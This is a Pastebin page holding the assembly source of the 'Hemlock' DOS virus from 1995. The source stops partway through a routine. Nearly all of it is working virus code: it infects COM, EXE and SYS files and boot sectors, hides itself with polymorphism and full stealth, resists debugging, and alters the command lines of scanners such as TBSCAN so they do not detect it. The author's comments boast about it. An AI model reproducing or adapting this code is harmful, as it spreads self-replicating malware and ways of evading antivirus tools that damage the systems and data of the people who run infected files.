Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;
- ; Hemlock Virus Source by qark
- ; +--------------------------+
- ;
- ; Origin: Australia, February 1995
- ; Targets: COM/EXE/SYS/MBR/BS
- ; Polymorphic: Yes
- ; Encrypted: Yes
- ; Stealth: Full stealth as it redirects reads to infected bootsectors
- ; and will return a clean copy if an infected file is read.
- ; Armoured: Attempting to trace int 21h or int 13h by a debugger/tunneler
- ; will be disabled or cause a system hang.
- ; Tunneling: No, but checks for fixed ROM BIOS entry points by examining
- ; code in segment F000. If found will set the vectors to these
- ; instead of the original vectors.
- ; Damage: None
- ; Assembler: A86 v3.71
- ; Other stuff: Disables stealth when the following programs are run PKZIP,
- ; LHA, ARJ, CHKDSK, NDD and SCANDISK. When WIN or TBSCAN are
- ; executed, command line options are added to avoid detection.
- ; When CTRL-ALT-DEL (warm boot) is pressed, the virus will
- ; copy the original interrupt table back and call int 19h
- ; which will effectively mimic a warm boot. If the computer
- ; is in protected mode it will call a normal reboot instead.
- ; If DOSDATA.SYS (a QEMM driver) is detected a different
- ; routine will be used for grabbing int21h when loading from
- ; boot. Because SYS infection is unstable the virus does not
- ; go resident, but instead checks to see if the MBR is infected
- ; and if clean, infects it. The polymorphism is simple in that
- ; it basically swaps around lines of the decryption, but no
- ; simple signature will detect it.
- ;
- ; This is probably the best virus to ever come from Australia.
- ;
- ; Hemlock is the poison that killed Socrates and the way I figure it,
- ; what's good for one greek philosopher is good enough for another.
- ;
- org 0
- db 9 dup (90h) ;This is setup for the polymorphism.
- enc_loop:
- db 15 dup (90h) ;18
- mov si,offset enc_end + 100h
- enc_start:
- sub si,offset enc_end
- cld ;Forward movement.
- mov ax,0efbeh
- mov bl,9
- int 13h ;Check if we are already home...
- cmp ax,0BEEFh
- je resident
- ;AX=01BE because of the error code passed into AH
- ;This will kill f-prot.
- add word ptr cs:[si+offset jmp_off],ax
- db 0ebh,0 ;Clear prefetch
- db 0e9h ;JMP xxxx
- jmp_off dw 6 - 01beh ;01BE=The return size from the int13 call.
- bogus_end:
- mov ax,4c00h
- int 21h
- db 20h
- real_continue:
- sub word ptr cs:[si+offset jmp_off],ax
- call check_mbr ;Is the MBR infected with our virus ?
- je mbr_done
- call setrom15_13
- call infect_mbr
- call reset15_13
- mbr_done:
- push ds ;Save PSP
- mov ax,es
- dec ax ;MCB segment.
- xor di,di ;Zero DI
- mov ds,ax
- ;Using [DI] is smaller than [0], saves a byte or two.
- ;Thanx to Memory Lapse for that optimisation.
- cmp byte ptr [di],'Z' ;DI=0 Check MCB type.
- jne pop_resident
- sub word ptr [di+3],(offset mem_size /16) +1
- sub word ptr [di+12h],(offset mem_size /16) +1
- mov ax,word ptr [di+12h] ;Our segment into AX.
- mov es,ax
- push cs
- pop ds ;DS=CS
- mov cx,offset end_virus ;Our virus length.
- rep movsb ;Move our virus in memory.
- sub si,di ;SI points to our virus start again.
- push si
- mov ds,cx ;DS=CX=0
- mov si,21h*4 ;Set int 21
- mov di,offset i21
- movsw
- movsw
- mov word ptr [si-4],offset int21handler
- mov word ptr [si-2],es
- mov si,13h*4 ;Set int 13
- mov di,offset i13
- movsw
- movsw
- mov word ptr [si-4],offset int13handler
- mov word ptr [si-2],es
- mov byte ptr es:flag21,1
- pop si
- pop_resident:
- pop ds ;Restore PSP
- resident:
- push ds
- pop es
- cmp byte ptr cs:[si+offset filetype],'E'
- je exe_return
- ;COM file return.
- mov di,100h ;Offset of COM start.
- push di ;Where we return to.
- add si,offset header
- mov cx,18h
- rep movsb ;Move the original header back.
- ret ;IP -> 100h
- exe_return:
- mov ax,ds ;DS=PSP
- add ax,10h ;10H = size of PSP
- add word ptr cs:[si+jump+2],ax ;Fix the return JMP FAR
- cli
- mov sp,word ptr cs:[si+offset header + 10h]
- add ax,word ptr cs:[si+offset header + 0eh]
- mov ss,ax ;SS:SP now fixed
- sti
- xor ax,ax
- xor bx,bx
- xor si,si
- db 0ebh,0 ;JMP $+2 Just clear the prefetch.
- db 0eah ;Return to original EXE.
- jump dd 0
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ;Infected device drivers call this when they execute.
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- SysEntry:
- push bp ;<--This turns into our RET later on.
- push bp ;Save BP.
- mov bp,sp ;Get the SP to change the stack.
- push si ;Save our other stuff.
- push ax
- db 0beh ;MOV SI,xxxx
- delta_sys dw 0 ;Our delta offset.
- mov ax,cs:[si+offset sysreturn] ;The address of the orig
- ;handler.
- mov word ptr [bp+2],ax ;'RET' to the original routine.
- mov word ptr cs:[6],ax ;Restore the original pointer
- ;so that we aren't called again.
- ;Do the stuff you want to here.... push and pop tho
- push bx
- mov ax,0efbeh ;Residency test
- xor bx,bx
- int 13h
- pop bx
- cmp ax,0beefh ;If resident then exit.
- je sys_res
- call check_mbr
- je sys_res
- call setrom15_13
- call infect_mbr
- call reset15_13
- Sys_Res:
- pop ax
- pop si
- pop bp
- ret ;It will return to the handler that was supposed to
- ;be called instead of this one.
- SysReturn dw 0 ;The original strategy routine.
- ;End of the stub part of the virus...
- ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
- ;Beginning of the resident routines...
- Int21Handler Proc Near
- ;;;;;;
- ;Instead of the good old CMP AH,XX to check for the DOS function, I think
- ;that I'll bung in a cooleo little jump table... always good to try new
- ;tricks...
- ;;;;;;
- call anti_tunnel ;Stop all other tunneling.
- push si
- push ax
- mov si,offset function_table ;SI=My little jump table.
- cld
- Index_function:
- cmp si,offset end_table ;End of table...
- je not_viral
- db 2eh ;CS:
- lodsb
- cmp ah,al ;Do the functions match ?
- je do_jump
- inc si ;I would use lodsw but that
- inc si ;would destroy AH.
- jmp index_function
- do_jump:
- db 2eh ;CS:
- lodsw
- jmp ax
- not_viral:
- jmp pop_end
- ;Below is the virus entry jump table.
- function_table db 11h ;Dir ffirst
- dw offset dir_stealth
- db 12h ;Dir ffnext
- dw offset dir_stealth
- db 3dh ;Open
- dw offset file_open
- db 3fh ;File read
- dw offset file_read
- db 43h ;Attribute change
- dw offset file_infect
- db 4bh ;Execute
- dw offset file_infect
- db 4eh ;Handle ffirst
- dw offset find_stealth
- db 4fh ;Handle fnext
- dw offset find_stealth
- db 56h ;Rename
- dw offset file_infect
- db 57h ;Date and time
- dw offset file_time
- db 6ch ;Open
- dw offset file_open
- end_table:
- ;.................
- File_Read: ;3F arrives here.
- pop ax
- pop si
- cmp byte ptr cs:stealth,0
- je no_read_stealth
- call check_handle
- jnc good_handle
- no_read_stealth:
- jmp jend ;Outta here...
- good_handle:
- push es
- push di
- call get_sft
- jc toobig
- call check_years
- jae stealth_read
- toobig:
- pop di ;Uninfected, so dont stealth.
- pop es
- jmp jend ;The push/pops are equal everywhere..
- file_pointer dw 0
- stealth_read:
- ;We've already reduced the file size within the SFT, (in file_open)
- ;so if they lseek to the end to try and find the virus they won't
- ;reach it, so all we have to do is make sure if they are reading
- ;near the header that we stealth it. Not too hard is it ? :)
- ;The header is only the first 18h bytes so we only mess with that.
- cmp word ptr es:[di+17h],0
- jne toobig
- cmp word ptr es:[di+15h],18h
- jae toobig
- push word ptr es:[di+15h] ;Save the current file pointer
- pop word ptr cs:file_pointer
- pop di
- pop es
- call Int21norm ;Do their read.
- jnc ok_read
- jmp bad_read
- ok_read:
- push ax
- push bx
- push cx
- push dx
- push si
- push di
- push es
- pushf
- mov ax,word ptr cs:file_pointer
- ;We want to overwrite whats at the current file pointer with
- ;what is supposed to be there. To do this we must work out
- ;whether it has read past the header, or just inside the header.
- call get_sft
- jnc good_read_sft
- jmp bad_read_sft
- good_read_sft:
- add ax,cx
- jc large_read ;Reading near FFFF bytes
- cmp ax,18h
- jbe calc_read ;Read past the header
- large_read:
- sub ax,cx
- mov cx,18h
- sub cx,ax
- jmp short long_read
- calc_read:
- sub ax,cx
- long_read: ;AX=File pointer, CX=bytes to read.
- ;Save the current file pointer.
- push word ptr es:[di+17h]
- push word ptr es:[di+15h]
- ;Save the current file length
- push word ptr es:[di+13h]
- push word ptr es:[di+11h]
- ;Extend the file length to include the virus
- add word ptr es:[di+11h],offset end_virus
- adc word ptr es:[di+13h],0
- push word ptr es:[di+11h] ;File size --> File pointer
- pop word ptr es:[di+15h]
- push word ptr es:[di+13h]
- pop word ptr es:[di+17h]
- sub word ptr es:[di+15h],18h ;Headersize back
- sbb word ptr es:[di+17h],0
- add word ptr es:[di+15h],ax ;Add on their file pointer
- adc word ptr es:[di+17h],0
- mov al,3fh
- call int21h ;Will read into their buffer the orig shit
- pop word ptr es:[di+11h] ;Restore file length
- pop word ptr es:[di+13h]
- pop word ptr es:[di+15h] ;Restore file pointer
- pop word ptr es:[di+17h]
- bad_read_sft:
- popf
- pop es
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- bad_read:
- read_exit:
- retf 2
- ;.................
- File_Open: ;3D and 6C arrive here.
- pop ax
- pop si
- call infect ;Infect the file.
- call Int21norm ;Do their open
- jc exit_open
- pushf
- xchg bx,ax
- call check_handle
- xchg bx,ax
- jc good_exit_open
- push es
- push di
- xchg bx,ax ;File handle into BX
- call get_sft
- xchg bx,ax
- jc pop_open_exit
- call check_years
- jb pop_open_exit ;Is it infected ? Nope, outta here..
- cmp byte ptr cs:stealth,0
- je pop_open_exit
- ;Remove our virus size from the SFT. This means that if they try to lseek
- ;to the end of the infected program they will see no size difference, and
- ;they will only be able to reach the end of the normal file.
- ;We no longer have to worry about them reading in the virus body from the end
- ;of the file, we only have to protect the header at the start.
- sub word ptr es:[di+11h],offset end_virus
- sbb word ptr es:[di+13h],0
- pop_open_exit:
- pop di
- pop es
- good_exit_open:
- popf
- exit_open:
- retf 2
- ;.................
- File_Infect: ;43, 4B and 56 arrive here.
- pop ax
- pop si
- cmp ax,4b00h ;File execute ?
- jne non_execute
- mov byte ptr cs:stealth,1 ;Turn stealth on.
- call check_names ;This may turn stealth off.
- call infect
- call int21norm ;Do the interrupt
- mov byte ptr cs:stealth,1 ;Turn stealth on.
- retf 2 ;Exit interrupt.
- non_execute:
- call infect ;Infect it.
- far_time_exit:
- jmp jend
- ;.................
- File_Time: ;57 arrives here.
- ;Hide the 100 years marker.
- pop ax
- pop si
- cmp byte ptr cs:stealth,0
- je far_time_exit
- cmp al,01
- je far_time_exit
- call Int21norm ;Call it
- pushf
- jc time_ok
- cmp dh,200
- jb time_ok
- sub dh,200 ;Take away the 100 years.
- time_ok:
- popf
- retf 2
- ;.................
- Dir_Stealth: ;11 and 12 arrive here.
- ;No change in size during a DIR listing.
- pop ax
- pop si
- cmp byte ptr cs:stealth,0
- je far_time_exit
- call Int21norm ;Call the interrupt
- cmp al,0 ;straight off.
- jne end_of_dir
- push es
- push ax ;Save em.
- push bx
- mov al,2fh ;Get DTA address.
- call int21h
- cmp byte ptr es:[bx],0ffh ;Extended FCB ?
- jne not_extended
- add bx,7 ;Add the extra's.
- not_extended:
- mov al,byte ptr es:[bx+1ah] ;Move high date
- cmp al,200
- jb dir_pop ;Not ours to play with.
- sub al,200 ;Restore to original date.
- mov byte ptr es:[bx+1ah],al
- ;Subtract the file length.
- sub word ptr es:[bx+1dh],offset end_virus
- sbb word ptr es:[bx+1fh],0
- dir_pop:
- pop bx
- pop ax
- pop es
- end_of_dir:
- iret
- stealth_exit:
- jmp jend ;Exit.
- ;.................
- Find_Stealth: ;4E and 4F arrive here.
- pop ax
- pop si
- cmp byte ptr cs:stealth,0
- je stealth_exit
- call Int21norm ;Do the original find call.
- jc end_search
- pushf
- push es
- push bx
- push si
- mov al,2fh ;Get DTA address
- call int21h
- mov al,byte ptr es:[bx+19h]
- cmp al,200 ;Get the file year from the DTA
- jb search_pop
- sub al,200 ;Set it back to the normal year.
- mov byte ptr es:[bx+19h],al ;Now they won't spot us!
- ;Subtract the file length.
- sub word ptr es:[bx+1ah],offset end_virus
- sbb word ptr es:[bx+1ch],0
- search_pop:
- pop si
- pop bx
- pop es
- popf
- end_search:
- retf 2 ;IRET without POPF
- ;.................
- Far_End: ;Gotta use a lame one of these
- ;because of the 128 byte jump :(
- jmp no_extension
- ;Infect EXE/COM/SYS
- Infect:
- push ax
- push bx
- push cx
- push dx
- push si
- push di
- push ds
- push es
- push bp
- xor bp,bp ;Zero BP for anti-heuristics
- cmp ah,6ch
- jne no_si_fixup
- mov dx,si ;Function 6C stores the name at
- ;DS:SI instead of DS:DX.
- no_si_fixup:
- cld
- push ds
- pop es
- mov al,'.'
- mov di,dx
- mov cx,128
- repne scasb ;Search for extension.
- jne far_end
- mov byte ptr cs:filetype,0 ;Reset the filetype flag
- mov si,di
- lodsw
- or ax,2020h ;Convert to lowercase.
- cmp ax,'oc' ;COM
- jne chk_exe
- lodsb
- or al,20h
- cmp al,'m'
- jne far_end
- jmp good_name
- chk_exe: ;EXE
- cmp ax,'xe'
- jne chk_sys
- lodsb
- or al,20h
- cmp al,'e'
- jne far_end
- jmp good_name
- chk_sys: ;SYS
- cmp ax,'ys'
- jne far_end
- lodsb
- or al,20h
- cmp al,'s'
- jne far_end
- mov byte ptr cs:filetype,'S'
- good_name:
- lea ax,[bp+3dh] ;Same as mov ax,3d but anti-heuristic
- call int21h
- jc far_end
- xchg bx,ax ;This is smaller than XCHG AX,BX
- ;BX=File handle.
- call set_int24
- call get_sft
- jc sys_close_exit
- call check_years ;Is it already infected ?
- ja sys_close_exit
- mov word ptr es:[di+2],2 ;Change file to read/write.
- push cs
- pop es ;ES=CS
- lea ax,[bp+3fh] ;Same as MOV AX,3F
- push cs
- pop ds ;DS=CS
- mov cx,1ch ;Read in the full EXE header.
- mov dx,offset header
- call int21h
- mov si,offset header
- lodsw ;AX=First two bytes of header.
- ;I DO NOT want to infect SYS files that have an EXE header because
- ;that means I will infect shit like QEMM and DOSDATA, which will fuck
- ;everything up...
- cmp byte ptr cs:filetype,'S'
- je sys_infect
- add al,ah
- cmp al,167 ;Test for ZM/MZ
- jne com_infect
- jmp exe_infect
- ;++++++++++++++++++++++
- SYS_Infect:
- ;Check first dword for -1 (-1 = 0ffffffffh)
- ;SYS files mostly start with ffffffffh so its a good marker to check.
- inc ax ;AX=0 if SYS file
- jnz sys_close_exit
- lodsw
- inc ax
- jnz sys_close_exit
- lodsw ;Same as INC SI, INC SI but one byte
- ;SI=Offset of 6 into the header.
- ;DS:SI=The SYS files strategy routine.
- lodsw ;Strategy routine offset into AX
- mov word ptr sysreturn,ax
- call lseek_end
- cmp ax,60000
- je sys_close_exit
- cmp ax,1024
- jb sys_close_exit
- call get_date
- ;File length is in AX.
- mov word ptr delta_sys,ax
- push ax
- mov al,40h ;Write virus at end.
- mov cx,offset end_virus
- xor dx,dx
- call int21h
- pop ax
- jc sys_close_exit
- add ax,offset sysentry
- mov word ptr header+6,ax ;Point the strategy routine at our
- ;lseek to start.
- call lseek_start
- mov al,40h ;Write our cooler header back.
- mov dx,offset header
- mov cx,18h
- call int21h
- jc sys_close_exit
- call set_marker ;Set the 100 year marker.
- sys_close_exit:
- jmp exe_close ;Outta here !
- ;+++++++++++++++++++++++
- COM_Infect: ;This routine works with COM files.
- mov byte ptr filetype,'C'
- call lseek_end
- or dx,dx ;Waaaay too big!
- jnz com_close_exit
- cmp ax,62300 ;Too big...
- ja com_close_exit
- cmp ax,1024 ;Teensy weensy
- jb com_close_exit
- call get_date
- push ax ;Save file size in AX
- add ax,100h ;COM's start at 100h
- mov delta,ax ;Fixup the delta offset.
- call setup_poly
- mov al,40h ;Append virus.
- mov dx,offset end_virus
- mov cx,offset end_virus
- call int21h
- pop ax ;Restore file size.
- jc com_close_exit ;Failed write...
- sub ax,3 ;JMP takes 3 bytes.
- mov word ptr virus_jump+1,ax ;Our jump buffer is ready !
- call lseek_start
- mov al,40h ;Write our jump.
- mov dx,offset virus_jump
- mov cx,3
- call int21h
- jc com_close_exit ;Failed write...
- call set_marker ;Set the 100 years marker.
- com_close_exit:
- jmp exe_close
- ;+++++++++++++++++++++++
- EXE_Infect:
- mov byte ptr filetype,'E'
- dec si
- dec si ;SI = Offset header
- cmp word ptr [si+1ah],0 ;Overlays are evil!
- jne com_close_exit
- cmp word ptr [si+18h],40h ;So is windows shit!
- jae com_close_exit
- call get_date
- push [si+2] ;Save pages
- push [si+4] ;Save last page size
- push [si+0ch] ;Save maximum memory
- push [si+0eh] ;Save SS
- push [si+10h] ;Save SP
- push [si+14h] ;Save IP
- push [si+16h] ;Save CS
- mov ax,word ptr [si+0ch] ;Get Maxmem
- inc ax ;If FFFF then don't change.
- jz set_to_max
- ;We are doing this because when TBSCAN is run it checks it's segment
- ;size in memory. If it is infected it will detect the virus because
- ;the memory allocated to it is more than it asked for. So downsize
- ;maxmem by the virus paras and wow! passed sanity check! Did you
- ;know that TBSCAN doesn't use it's 'OWN' file system to check
- ;itself ? Nope, it uses DOS so you can stealth is easy enough.
- ;Note: I did not invent this idea! A person who wishes to remain
- ;anonymous told it to me.
- sub word ptr [si+0ch],offset end_virus / 16 +1
- set_to_max:
- push si
- add si,14h
- mov di,offset jump
- movsw
- movsw ;CS:IP into JUMP
- pop si
- call lseek_end
- ;DX:AX=File length
- push dx ;Save file length.
- push ax
- mov cx,16 ;Divide filesize by 16.
- div cx ;Remainder = IP
- ;Answer = CS
- sub ax,word ptr [si+8] ;Subtract headersize.
- mov word ptr delta,dx
- mov word ptr [si+14h],dx ;IP into header
- mov word ptr [si+16h],ax ;CS into header
- add dx,offset end_virus + 1000 ;SP past end of file.
- mov word ptr [si+0eh],ax ;SS=CS
- mov word ptr [si+10h],dx ;SP past end of our virus.
- pop ax
- pop dx ;File length into DX:AX
- add ax,offset end_virus
- adc dx,0
- mov cx,512
- div cx
- or dx,dx
- jz no_page_fix ;Page ends on 512 boundary.
- inc ax ;Add the last page.
- no_page_fix:
- mov word ptr [si+4],ax
- mov word ptr [si+2],dx
- call lseek_start
- mov dx,si ;DX=Offset header
- mov cx,18h
- mov al,40h ;Write header back.
- call int21h
- pop [si+16h] ;Restore all the header stuff
- pop [si+14h] ;that I changed.
- pop [si+10h]
- pop [si+0eh]
- pop [si+0ch]
- pop [si+4]
- pop [si+2]
- jc exe_close
- call lseek_end
- call setup_poly
- mov al,40h
- mov dx,offset end_virus
- mov cx,offset end_virus
- call int21h
- jc exe_close
- call set_marker
- exe_close:
- mov al,3eh
- call int21h
- call reset_int24
- no_extension:
- pop bp
- pop es
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- ret
- ;................. End of infection procedure...
- pop_end:
- pop ax
- pop si
- jend:
- db 0eah
- i21 dd 0
- Int21Handler EndP
- Int21h:
- xchg ah,al ;<-- swap AH and AL for heuristics.
- Int21norm:
- pushf
- push cs
- call jend
- ret
- ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
- Bootsector:
- ;This is what we write to the MBR/BS
- xor ax,ax
- mov es,ax
- mov si,7c00h
- cli ;Ints off while changing
- ;stack.
- mov ss,ax
- mov sp,si
- sti
- mov ds,ax
- ;CS,DS,ES,SS,AX=0 SI,SP=7C00H
- sub word ptr [413h],8 ;3.5k for virus + 3.5k buffer
- ;+1K for IVT
- ;40:13 = memory.
- int 12h
- mov cl,6
- shl ax,cl
- mov es,ax ;ES=Our virus segment.
- xor ax,ax
- int 13h ;Reset Disk
- xor dh,dh ;Head 0
- mov cx,4 ;From sector 4, track 0
- or dl,dl
- js hd_resident ;>= 80h
- ;Self modifying code because the floppy disk storage track/head
- ;changes all the time.
- db 0b9h ;MOV CX,xxxx
- floppy_sect dw 4
- db 0b6h ;MOV DH,xxxx
- floppy_head db 0
- hd_resident:
- xor bx,bx ;Read to start of segment
- mov ax,207h ;Read 7 sectors
- int 13h ;This ought to read the virus into
- ;our allocated buffer.
- jc hd_resident
- mov byte ptr es:flag21,0 ;Reset the int21 flag
- mov byte ptr es:mz_counter,1 ;Reset exe counter
- mov byte ptr es:qemm,0 ;Reset qemm flag
- mov si,13h*4
- cld
- mov di,offset i13
- movsw
- movsw
- mov word ptr [si-4],offset int13handler
- mov word ptr [si-2],es
- mov si,9*4 ;Set int9 to ours.
- mov di,offset i9
- movsw
- movsw
- mov word ptr [si-4],offset int9handler
- mov word ptr [si-2],es
- xor si,si ;Copy interrupt table.
- mov di,offset IVT
- mov cx,1024
- rep movsb
- mov si,449h
- movsb
- int 19h
- Marker db 'Eu' ;Just a crap marker
- BS_End:
- ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
- ;;;
- rend:
- retf 2
- ;;;
- multi:
- jmp multipartite
- ;;;
- stealth_bs:
- mov cx,3
- mov ax,102h
- or dl,dl
- js stealth_mbr ;DL>=80H then goto stealthmbr
- mov cx,14
- mov dh,1
- stealth_mbr:
- call int13h
- jmp bs_pop_end
- ;;;
- Int13Handler:
- call anti_tunnel
- xchg ah,al
- cmp al,2
- jne multi
- cmp cx,1
- jne multi
- or dh,dh
- jnz multi
- call int13h
- jc rend
- pushf ;Save everything we mess with.
- push ax
- push bx
- push cx
- push dx
- push si
- push di
- push ds
- push es
- cmp word ptr es:[bx+offset marker - offset bootsector],'uE'
- je stealth_bs
- mov cx,3 ;Orig HD MBR at sector 3.
- or dl,dl ;Harddisk ?
- js write_orig ;80H or above ?
- ;Calculate shit like track/head for floppy******
- push dx
- push cs
- pop ds
- mov ax,es:[bx+18h] ;Sectors per track.
- sub es:[bx+13h],ax ;Subtract a track.
- mov ax,es:[bx+13h] ;AX=total sectors.
- mov cx,es:[bx+18h] ;CX=sectors per track
- xor dx,dx
- div cx ;Total sectors/sectors per track
- xor dx,dx
- mov cx,word ptr es:[bx+1ah] ;CX=heads
- div cx ;Total tracks/heads
- push ax
- xchg ah,al ;AX=Track
- mov cl,6
- shl al,cl ;Top 2 bits of track.
- or al,1 ;We'll use the first sector onward.
- mov word ptr floppy_sect,ax
- pop ax
- mov cx,word ptr es:[bx+1ah] ;CX=heads
- xor dx,dx
- div cx ;Track/Total Heads
- mov byte ptr floppy_head,dl ;Remainder=Head number
- mov cx,14 ;Floppy root directory.
- pop dx
- mov dh,1
- write_orig:
- mov ax,103h
- call int13h
- jc bs_pop_end
- push es
- pop ds
- mov si,bx
- push cs
- pop es ;ES=CS
- mov cx,510 ;Move original sector to our buffer.
- cld
- mov di,offset end_virus
- rep movsb
- mov ax,0aa55h ;End of sector marker.
- stosw
- mov si,offset bootsector ;Move our virus BS into the buffer.
- push cs
- pop ds ;DS=ES=CS
- mov di,offset end_virus
- mov cx,offset bs_end - offset bootsector
- rep movsb
- xor ax,ax ;Reset disk controller
- call int13h
- mov ax,103h
- xor dh,dh
- inc cx ;CX=0 from 'rep movsb' So CX=1
- mov bx,offset end_virus
- call int13h
- mov cx,4
- or dl,dl
- js hd_virus_write
- mov cx,word ptr floppy_sect
- mov dh,byte ptr floppy_head
- hd_virus_write:
- xor bx,bx
- mov ax,703h
- call int13h
- bs_pop_end:
- pop es
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- popf
- jmp rend
- bs_exit:
- cmp ax,0beefh
- jne no_test
- iret
- no_test:
- xchg ah,al
- db 0eah
- i13 dd 0
- ;....................................
- Multipartite:
- cmp byte ptr cs:flag21,1 ;Have we already set int21 ?
- jne check21
- jmp short bs_exit
- check21:
- push ax
- push cx
- push si
- push di
- push es
- push ds
- cmp byte ptr cs:qemm,1 ;Have we detected QEMM ?
- je qemm_multip
- ;This code looks for DOSDATA and if found waits for the 10th EXE
- ;header instead of the first.
- mov di,bx
- mov al,'D'
- cld
- mov cx,512
- scan_dosdata:
- repne scasb
- je found_d
- jmp short chk_exe_header
- found_d:
- push cs
- pop ds
- mov si,offset dosdata
- push di ;Save buffer pointer
- push cx ;Save buffer counter
- mov cx,6
- repe cmpsb
- pop cx
- pop di
- jne scan_dosdata
- mov byte ptr qemm,1
- mov byte ptr mz_counter,10
- qemm_multip:
- ;Multipartite condition #1 - Grab Int21 on any write
- cld
- cmp al,3
- je set_dos_vector
- ;Multipartite condition #2 - Grab Int21 on a residency test
- or bx,bx ;SYS res tests shouldn't be used.
- jz chk_autoexec
- cmp ax,0beefh
- je set_dos_vector
- ;Multipartite condition #3 - Grab Int21 on reading AUTOEXEC.BAT
- chk_autoexec:
- mov si,bx
- push es
- pop ds
- lodsb
- cmp al,'@'
- jne chk_exe_header
- lodsw
- and ax,0dfdfh
- cmp ax,'CE'
- jne chk_exe_header
- jmp short set_dos_vector
- ;Multipartite condition #4 - Grab Int21 on read of third EXE
- chk_exe_header:
- push es
- pop ds
- mov si,bx
- lodsw
- cmp ax,'MZ'
- je found_mz
- cmp ax,'ZM'
- jne not_right
- found_mz:
- dec byte ptr cs:mz_counter
- jz set_dos_vector
- jmp short not_right
- set_dos_vector:
- push cs
- pop es
- xor ax,ax
- mov ds,ax
- mov si,21h*4
- mov di,offset i21
- movsw
- movsw
- mov word ptr [si-4],offset int21handler
- mov word ptr [si-2],es
- mov byte ptr cs:flag21,1
- not_right:
- pop ds
- pop es
- pop di
- pop si
- pop cx
- pop ax
- cmp ax,0beefh
- jne not_res_test
- iret ;Pass back the residency marker.
- not_res_test:
- jmp bs_exit
- ;....................................
- Int13h Proc Near
- ; AH & AL are swapped on entry to this call.
- pushf ;Setup our interrupt
- push cs ;Our segment
- call bs_exit ;This will also fix our AX
- xchg ah,al ;Fix our AX :)
- ret
- Int13h EndP
- ;....................................
- Int9Handler:
- ;Checks for CTRL-ALT-DEL and does a fake reboot if so.
- push ax
- push ds
- push cx
- in al,60h ;Read the key from the keyboard port
- cmp al,53h ;Is the key DEL ?
- jne normal_i9
- xor ax,ax
- mov ds,ax
- mov al,[417h] ;Keyboard flag byte 0
- and al,0ch ;Only leave CTRL and ALT
- cmp al,0ch ;Are they both depressed ?
- jne normal_i9
- ;Now test for an XT
- mov al,2
- mov cl,33
- shr al,cl ;286+ ignore any bits above bit 5
- test al,1 ;286+ will only SHR AL,1 while XT will
- ;clear AL.
- jz reboot ;We have an 8088 (XT) so reboot.
- smsw ax ;Machine Status Word into AX
- test al,1 ;If bit 1 is on then it is protected mode
- jnz normal_i9 ;Protected mode... no fake reboot.
- reboot:
- in al,61h ;Keyboard controller.
- push ax
- or al,80h ;Signal we got it.
- out 61h,al
- pop ax
- out 61h,al
- mov al,20h ;Signal EOI
- out 20h,al
- xor ax,ax
- mov al,byte ptr cs:mode ;Reset original video mode.
- int 10h
- push ds
- pop es ;ES=0
- push cs
- pop ds ;DS=CS
- mov cx,1024
- mov si,offset IVT
- xor di,di
- cld
- cli
- rep movsb ;Copy the IVT back.
- sti
- push cs
- pop ds
- mov byte ptr flag21,0 ;Reset the int21 flag
- mov byte ptr mz_counter,1 ;Reset exe counter
- mov byte ptr qemm,0 ;Reset qemm flag
- xor dx,dx
- int 19h
- normal_i9:
- pop cx
- pop ds
- pop ax
- db 0eah
- i9 dd 0
- ;....................................
- Int15h Proc Near
- db 0eah
- i15 dd 0
- Int15h EndP
- ;....................................
- Int24h Proc Near ;No write protect errors.
- mov al,3
- iret
- i24 dd 0
- Int24h EndP
- ;....................................
- ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
- ; Subroutines and Shit
- ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
- ;....................................
- Get_Date:
- ;Saves the date/time of the file to TIME and DATE
- ;BX=File handle
- push ax
- push cx
- push dx
- mov ax,57h
- call int21h
- mov word ptr cs:time,cx
- mov word ptr cs:date,dx
- pop dx
- pop cx
- pop ax
- ret
- ;....................................
- Set_Marker:
- ;Sets the 100 years marker on the infected file.
- ;BX=File handle
- db 0bah ;MOV DX,xxxx
- date dw 0
- db 0b9h
- time dw 0 ;MOV CX,xxxx
- add dh,200 ;100 SHL 1 = 200
- mov ax,157h
- call int21h
- ret
- ;....................................
- Check_Years:
- ;Assumes ES:DI = SFT
- ;On exit the flags will be set so that a JB means that the file isn't
- ;infected. JA means it is.
- cmp byte ptr es:[di+010h],200
- ret
- ;....................................
- Get_SFT:
- ;Entry: BX=Filehandle
- ;Exit: ES:DI=SFT
- push bx
- push ax
- mov ax,1220h
- int 2fh
- jc bad_sft
- xor bx,bx
- mov bl,byte ptr es:[di]
- mov ax,1216h
- int 2fh
- bad_sft:
- pop ax
- pop bx
- ret
- ;....................................
- LSeek_End:
- mov ax,0242h ;Call this to lseek to the end
- jmp short lseek
- LSeek_Start: ;Call this to lseek to the start
- mov ax,42h
- LSeek:
- cwd
- xor cx,cx
- call int21h
- ret
- ;....................................
- Check_Names:
- ;On Entry DS:DX=filename to execute
- ;Exit: put ' co nm' into the command line if program is TBScan. The 'co'
- ;will cause TBScan to use DOS instead of it's low level disk routines
- ;and subsequently it will not find any change in files. The 'nm' means
- ;there will be no memory test. This is just for in the future when Thunder
- ;Byte get the virus signature they won't be able to detect residency of the
- ;virus.
- ;Turn stealth off if one of the program being executed is a bad one.
- push ax
- push bx
- push cx
- push dx
- push si
- push di
- push ds
- push es
- ;Test for tbscan
- mov si,dx
- find_ext:
- lodsb
- cmp al,'.' ;The dot in the filename.
- jne find_ext
- std
- lodsw ;SI-2
- ;SI=Last letter in name.
- xor cx,cx
- mov di,offset bad_names-1
- push cs
- pop es
- name_loop:
- mov cl,byte ptr cs:[di] ;CS:DI=Size of string
- dec di ;Index to end of name.
- push si ;Save SI
- repe cmpsb ;Compare the names.
